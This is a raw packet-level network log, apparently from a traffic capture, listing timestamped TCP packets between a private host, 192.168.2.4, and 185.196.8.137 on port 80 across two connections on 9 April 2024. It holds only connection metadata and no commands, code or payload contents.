Apr 9, 2024 14:54:04.680325031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680336952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680361986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680386066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680401087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680423975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680445910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680463076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680485964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680505991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680520058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680542946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680563927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680583000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680600882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680619955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680630922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680655003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680676937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680697918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.680716991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732244015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732260942 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732271910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732283115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732295036 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732307911 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732319117 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732331038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732342958 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732371092 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732420921 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732424974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732433081 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732424974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732424974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732424974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732425928 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732445002 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732503891 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732517004 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732517004 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732561111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732563972 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732584000 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732630014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732630014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732649088 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732661009 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732681990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732703924 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732705116 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732747078 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732770920 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732783079 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732793093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732803106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732811928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732816935 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732831955 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732851982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732863903 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732867956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732877016 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732938051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.732963085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732974052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.732995987 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733006001 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733017921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733043909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733048916 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733048916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733058929 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733068943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733078003 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733117104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733156919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733156919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733166933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733190060 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733201027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733210087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733230114 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733239889 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733239889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733249903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733275890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733321905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.733365059 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733480930 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733531952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733603954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.733865023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.736793041 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.736849070 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.736913919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.736926079 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.736962080 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.736979008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.737006903 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.737124920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.737143040 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.737191916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.738651991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738703966 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738703966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.738775969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738807917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738873005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738894939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.738913059 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738959074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738975048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.738998890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739044905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739061117 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739075899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739075899 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739092112 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739135981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739166975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739181995 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739193916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739212990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739231110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739283085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739298105 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739314079 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739396095 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739435911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739531040 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739576101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739592075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739607096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739675999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739694118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739782095 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739799023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739829063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739856958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.739888906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739903927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739918947 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.739964962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740022898 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740027905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.740039110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740080118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.740101099 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740107059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.740149975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.740185976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740200996 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740223885 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740233898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.740241051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740262985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.740302086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.740309000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.742679119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.743927956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.743944883 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.743989944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.743999004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744066954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744082928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744127035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744210005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744231939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744247913 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744250059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744278908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744294882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744314909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744347095 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744371891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744380951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744438887 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744460106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744493008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744505882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744843960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744898081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744935036 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744951010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.744982004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.744990110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745002031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745007992 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745023012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745039940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745063066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745136976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745173931 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745223999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745265961 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745297909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745322943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745346069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745398998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745414972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745441914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745459080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745491982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745542049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745558023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745605946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745625973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745667934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745758057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745773077 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745801926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745816946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745822906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745832920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745863914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745883942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.745965004 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.745980978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746007919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746021032 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746030092 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746084929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746107101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746124029 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746139050 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746149063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746153116 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746174097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746181011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746208906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746304035 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746349096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746352911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746397972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746412992 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746457100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746471882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746488094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746503115 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746520042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746537924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746567965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746629953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746644974 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.746680975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746704102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.746828079 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.747066021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.747869015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.747884989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.747900009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.747915983 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.747940063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.747941971 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.747956991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.747960091 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748032093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748034954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748090029 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748105049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748135090 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748145103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748167992 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748183966 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748215914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748239994 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748240948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748281956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748317957 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748419046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748464108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748518944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748534918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748564005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748569965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748580933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748591900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748595953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748610020 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748617887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748640060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748647928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748655081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748663902 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748694897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.748754978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.748989105 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749034882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749113083 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749155045 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749262094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749277115 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749291897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749320984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749336004 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749351025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749413967 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749422073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749454021 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749455929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749469042 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749499083 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749504089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749531984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749547005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749552011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749593973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749630928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749646902 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749672890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749686003 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749691963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749737978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749752998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749752998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749783993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749842882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.749917984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749933958 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749948978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.749985933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.750085115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.750227928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.750401974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.750487089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.750600100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.751204014 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751250982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751295090 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.751657963 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751672983 CEST	80	49740	185.196.8.137	192.168.2.4
